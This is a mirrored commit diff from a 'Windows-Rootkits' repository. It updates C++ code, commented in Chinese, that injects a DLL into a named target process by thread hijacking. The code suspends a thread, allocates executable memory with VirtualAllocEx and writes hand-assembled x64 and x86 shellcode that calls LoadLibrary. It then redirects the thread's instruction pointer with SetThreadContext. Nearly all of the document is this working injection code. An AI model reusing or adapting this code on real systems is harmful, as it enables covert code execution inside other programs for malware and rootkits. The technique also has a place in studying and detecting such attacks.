Mirrors
/
Windows-Rootkits
spegling av https://github.com/ciyze0101/Windows-Rootkits
6
0
Förgrening 0
Kod Ärenden Projekt Släpp Wiki Aktiviteter

update 

update shellcode
This commit is contained in:
ciyze 2019-12-31 16:03:30 +08:00
förälder 6bafb31ce4
incheckning 50c6122765
1 ändrade filer med 93 tillägg och 24 borttagningar
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

117
Inject/SetThreadContext/InjectDllBySetThreadContextx64/InjectDllBySetThreadContextx64.cpp
Visa fil

@ -44,9 +44,9 @@ BYTE ShellCode64[64]=
0x48,0x8D,0x0d, // [+4] lea rcx,
0xaa,0xbb,0xcc,0xdd, // [+7] dll path offset = TargetAddress- Current(0x48)[+4] -7
0xe8, // [+11]
0xdd,0xcc,0xbb,0xaa, // [+12] call LoadLibrary offset = TargetAddress - Current(0xe8)[+11] -5
0x48, 0xB8,
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,
0xff, 0xd0,
0x48,0x83,0xc4,0x28, // [+16] add rsp,28h
//0xcc, 调试时断下来的int 3 正常运行的时候非常傻逼的没有请掉...难怪一直死
@ -61,30 +61,90 @@ BYTE ShellCode64[64]=
BOOL EnableDebugPriv() ;
BOOL StartHook(HANDLE hProcess,HANDLE hThread);
DWORD main_GetProcessIdByName(LPWSTR pszProcessName, PDWORD pdwProcessId)
{
DWORD dwProcessId = 0;
HANDLE hSnapshot = NULL;
PROCESSENTRY32 pe = { 0 };
DWORD eReturn = 0;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (NULL == hSnapshot)
{
eReturn = -1;
printf("CreateToolhelp32Snapshot error. GLE: %d.", GetLastError());
goto lblCleanup;
}
pe.dwSize = sizeof(PROCESSENTRY32);
if (FALSE == Process32First(hSnapshot, &pe))
{
eReturn = -1;
printf("Process32First error. GLE: %d.", GetLastError());
goto lblCleanup;
}
do
{
if (NULL != wcsstr(pe.szExeFile, pszProcessName))
{
dwProcessId = pe.th32ProcessID;
break;
}
} while (Process32Next(hSnapshot, &pe));
if (0 == dwProcessId)
{
printf("[*] Process '%S' could not be found.\n\n\n", pszProcessName);
eReturn = -1;
goto lblCleanup;
}
printf("[*] Found process '%S'. PID: %d (0x%X).\n\n\n", pszProcessName, dwProcessId, dwProcessId);
*pdwProcessId = dwProcessId;
eReturn = 0;
lblCleanup:
if ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot))
{
CloseHandle(hSnapshot);
hSnapshot = NULL;
}
return eReturn;
}
int _tmain(int argc, _TCHAR* argv[])
{
EnableDebugPriv() ;
int ProcessId = 0;
cin>>ProcessId;
DWORD ProcessId = 0;
#ifdef _WIN64
main_GetProcessIdByName(L"targetx64.exe", &ProcessId);
#else
main_GetProcessIdByName(L"target.exe", &ProcessId);
#endif
HANDLE Process = OpenProcess(PROCESS_ALL_ACCESS,NULL,ProcessId);
if(Process == NULL)
{
printf("OpenProcess Fail LastError [%d]\n", GetLastError());
getchar();
return 0;
}
printf("Open Process [%d] OK.\n", ProcessId);
// 定义线程信息结构
THREADENTRY32 te32 = {sizeof(THREADENTRY32)} ;
//创建系统线程快照 ss
HANDLE hThreadSnap = CreateToolhelp32Snapshot (TH32CS_SNAPTHREAD, 0) ;
if ( hThreadSnap == INVALID_HANDLE_VALUE )
{
printf("CreateToolhelp32Snapshot fail LastError [%d]\n", GetLastError());
getchar();
return FALSE;
}
// 循环枚举线程信息
if (Thread32First(hThreadSnap, &te32))
{
do{
@ -97,9 +157,12 @@ int _tmain(int argc, _TCHAR* argv[])
break;
}
SuspendThread(Thread);
printf("start Hook.\n");
if (!StartHook(Process,Thread))
{
printf("失败\n");
getchar();
}
else
{
@ -127,6 +190,8 @@ BOOL StartHook(HANDLE hProcess,HANDLE hThread)
printf("GetThreadContext Error LastError [%d]\n", GetLastError());
return FALSE;
}
printf("getThreadContext OK.\n");
LPVOID LpAddr=VirtualAllocEx(hProcess,NULL,64,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if (LpAddr==NULL)
{
@ -146,31 +211,31 @@ BOOL StartHook(HANDLE hProcess,HANDLE hThread)
0x48,0x8D,0x0d, // [+4] lea rcx,
0xaa,0xbb,0xcc,0xdd, // [+7] dll path offset = TargetAddress- Current(0x48)[+4] -7
0x48, 0xB8, // [+11]mov rax, ptr
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,
0xff, 0xd0, // [+21] call rax
0xe8, // [+11]
0xdd,0xcc,0xbb,0xaa, // [+12] call LoadLibrary offset = TargetAddress - Current(0xe8)[+11] -5
0x48,0x83,0xc4,0x28, // [+23] add rsp,28h
0x48,0x83,0xc4,0x28, // [+16] add rsp,28h
0xff,0x25, // [+27]
0xaa,0xbb,0xcc,0xdd, // [+29] jmp rip offset = TargetAddress - Current(0xff)[+20] - 6
0xff,0x25, // [+20]
0xaa,0xbb,0xcc,0xdd, // [+22] jmp rip offset = TargetAddress - Current(0xff)[+20] - 6
0xaa,0xbb,0xcc,0xdd, //+26
0xaa,0xbb,0xcc,0xdd, //+33
0xaa,0xbb,0xcc,0xdd
//+34
//+41
*/
DllPath=ShellCode64+34;
strcpy((char*)DllPath,"D:\\Dll.dll");//这里是要注入的DLL名字
DWORD DllNameOffset = 23;// ((BYTE*)LpAddr+34) -((BYTE*)LpAddr+4) -7 这个指令7个字节
DllPath=ShellCode64+41;
strcpy((char*)DllPath,"Dllx64.dll");//这里是要注入的DLL名字
DWORD DllNameOffset = 30;// ((BYTE*)LpAddr+34) -((BYTE*)LpAddr+4) -7 这个指令7个字节
*(DWORD*)(ShellCode64+7)=(DWORD)DllNameOffset;
////////////////
DWORD LoadDllAddroffset = (BYTE*)LoadDllAAddr - ((BYTE*)LpAddr + 11) -5; //这个指令5个字节e8 + 4addroffset
*(DWORD*)(ShellCode64+12)=LoadDllAddroffset;
DWORD64 LoadDllAddroffset = (DWORD64)LoadDllAAddr;// - ((BYTE*)LpAddr + 11) -5; //这个指令5个字节e8 + 4addroffset
*(DWORD64*)(ShellCode64+13)=LoadDllAddroffset;
//////////////////////////////////
*(DWORD64*)(ShellCode64+26)=ctx.Rip; //64下为rip
*(DWORD*)(ShellCode64+22)= (DWORD)0; //我将地址放在+26的地方，相对offset为0
*(DWORD64*)(ShellCode64+33)=ctx.Rip; //64下为rip
*(DWORD*)(ShellCode64+29)= (DWORD)0; //我将地址放在+26的地方，相对offset为0
// 这里因为这样写跳转不到目标地址，故x64 应该要中转一次 相对寻址
// DWORD Ds = (DWORD)ctx.SegDs;
@ -189,6 +254,8 @@ BOOL StartHook(HANDLE hProcess,HANDLE hThread)
printf("set thread context error LastError [%d]\n", GetLastError());
return FALSE;
}
printf("SetThreadContext OK.\n");
ResumeThread(hThread);
return TRUE;
@ -200,6 +267,7 @@ BOOL StartHook(HANDLE hProcess,HANDLE hThread)
printf("GetThreadContext Error LastError [%d]\n", GetLastError());
return FALSE;
}
printf("GetThreaxContext OK.\n");
LPVOID LpAddr=VirtualAllocEx(hProcess,NULL,64,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if (LpAddr==NULL)
{
@ -231,7 +299,7 @@ BOOL StartHook(HANDLE hProcess,HANDLE hThread)
*/
_asm mov esp,esp
DllPath=ShellCode+29;
strcpy((char*)DllPath,"D:\\Dllx86.dll");//这里是要注入的DLL名字
strcpy((char*)DllPath,"Dllx86.dll");//这里是要注入的DLL名字
*(DWORD*)(ShellCode+3)=(DWORD)LpAddr+29;
////////////////
*(DWORD*)(ShellCode+21)=LoadDllAAddr; //loadlibrary地址放入shellcode中
@ -251,6 +319,7 @@ BOOL StartHook(HANDLE hProcess,HANDLE hThread)
printf("set thread context error LastError [%d]\n", GetLastError());
return FALSE;
}
printf("SetThreadContext OK.\n");
ResumeThread(hThread);
return TRUE;
#endif